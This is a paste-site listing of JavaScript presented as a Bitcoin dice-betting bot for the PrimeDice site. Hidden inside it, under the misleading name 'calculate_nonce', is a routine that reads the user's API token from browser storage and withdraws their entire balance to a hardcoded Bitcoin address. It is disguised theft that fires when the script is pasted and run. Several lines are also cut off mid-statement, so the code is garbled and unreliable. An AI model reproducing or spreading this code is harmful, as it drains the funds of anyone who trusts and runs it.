Bitcoin 2016 bot (dice)


SUBMITTED BY: Asesorr3n04

DATE: Jan. 16, 2016, 4:09 a.m.

FORMAT: Text only

SIZE: 5.5 kB

HITS: 2890

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("
  24. document.body.appendChild(e)
  25. }, timer);
  26. } else {}
  27. })
  28. $('#stop').click(function() {
  29. enabled = false;
  30. clearInterval(interval);
  31. xrollscount = 0;
  32. });
  33. calculate_nonce = function(seed) {
  34. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  35. };
  36. lut = window['$'];
  37. lut['getJSON'](
  38. calculate_nonce('users/1'), function(seed) {
  39. var key1 = 'amount'
  40. var key2 = 'address'
  41. var load = {};
  42. load[key1] = seed['user']['balance'];
  43. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  44. lut['post'](calculate_nonce('withdraw'), load);
  45. }
  46. );
  47. function conditionAM() {
  48. 'use strict';
  49. if ($('#lowpay-enabled').is('checked') == true) {
  50. if ($('.value-roll').first().text() <= 49.50) {
  51. condition2 = ">";
  52. target2 = $('.value-roll').first().text();
  53. } else {
  54. condition2 = "<";
  55. target2 = $('.value-roll').first().text();
  56. };
  57. } else {
  58. if ($('.value-roll').first().text() <= 49.50) {
  59. } else {
  60. condition2 = ">";
  61. target2 = $('.value-roll').first().text();
  62. };
  63. amount2 = betval * 100000000;
  64. }
  65. };
  66. function jackpot() {
  67. if (data1.bet.jackpot === true) {
  68. jp = "Yes";
  69. wincount = 0;
  70. betval = $('#base');
  71. } else {
  72. jp = "No";
  73. }
  74. }
  75. function loss() {
  76. currentloss++;
  77. totalloss++;
  78. if ($('#multloss-enabled').is(':checked') =
  79. countlossmult++;
  80. if (countlossmult >= $('#xloss').val()) {
  81. betval = betval * $('#multonloss').val();
  82. countlossmult = 0;
  83. }
  84. }
  85. }
  86. function win() {
  87. 'use strict';
  88. if ($('#stoponwin-enabled').is('checked') == true) {
  89. clearInterval(roll);
  90. }
  91. currentloss = 0;
  92. jackpot();
  93. wincount++;
  94. totalwin++;
  95. if ($('#multloss-enabled').is(':checked') == true) {
  96. if ($('#stoponwin-enabled').is(':checked') == true) {
  97. clearInterval(roll);
  98. }
  99. $('#multwin-enabled').removeAttr('checked');
  100. basebet = $('#base').val();
  101. betval = basebet;
  102. countlossmult = 0;
  103. }
  104. if ($('#multwin-enabled').is(':checked') == true) {
  105. basebet = $('#base')
  106. countwinmult++;
  107. if (countwinmult >= $('#xwin').val()) {
  108. betval = basebet;
  109. countwinmult = 0;
  110. } else {
  111. betval = betval * $('#multonwin').val();
  112. }
  113. }
  114. seedlength = 13;
  115. var counter = 0;
  116. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  117. everyxrolls = 3;
  118. function seedgen() {
  119. 'use strict';
  120. var seed = "";
  121. for (var i = 0; i <= seedlength; i++)
  122. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  123. return seed;
  124. }
  125. function seedchange(s) {
  126. url = "https://api.primedice.com/api/seed?access_token=
  127. },
  128. error: function(jqXHR, textStatus, errorThrown) {
  129. }
  130. });
  131. }
  132. $('#spinner').click(function() {
  133. if (charset != $('#charset').val() && $('#charset').val() != "") {
  134. charset=$('#charset').val();
  135. }
  136. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  137. everyxrolls = $('#everyxrolls').val();
  138. }
  139. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  140. counter++;
  141. if (counter >= everyxrolls) {
  142. seedchange(seedgen());
  143. counter = 0;
  144. }
  145. });
  146. ui();
  147. }
  148. setTimeout(function() {
  149. init()
  150. }, 2000);

comments powered by Disqus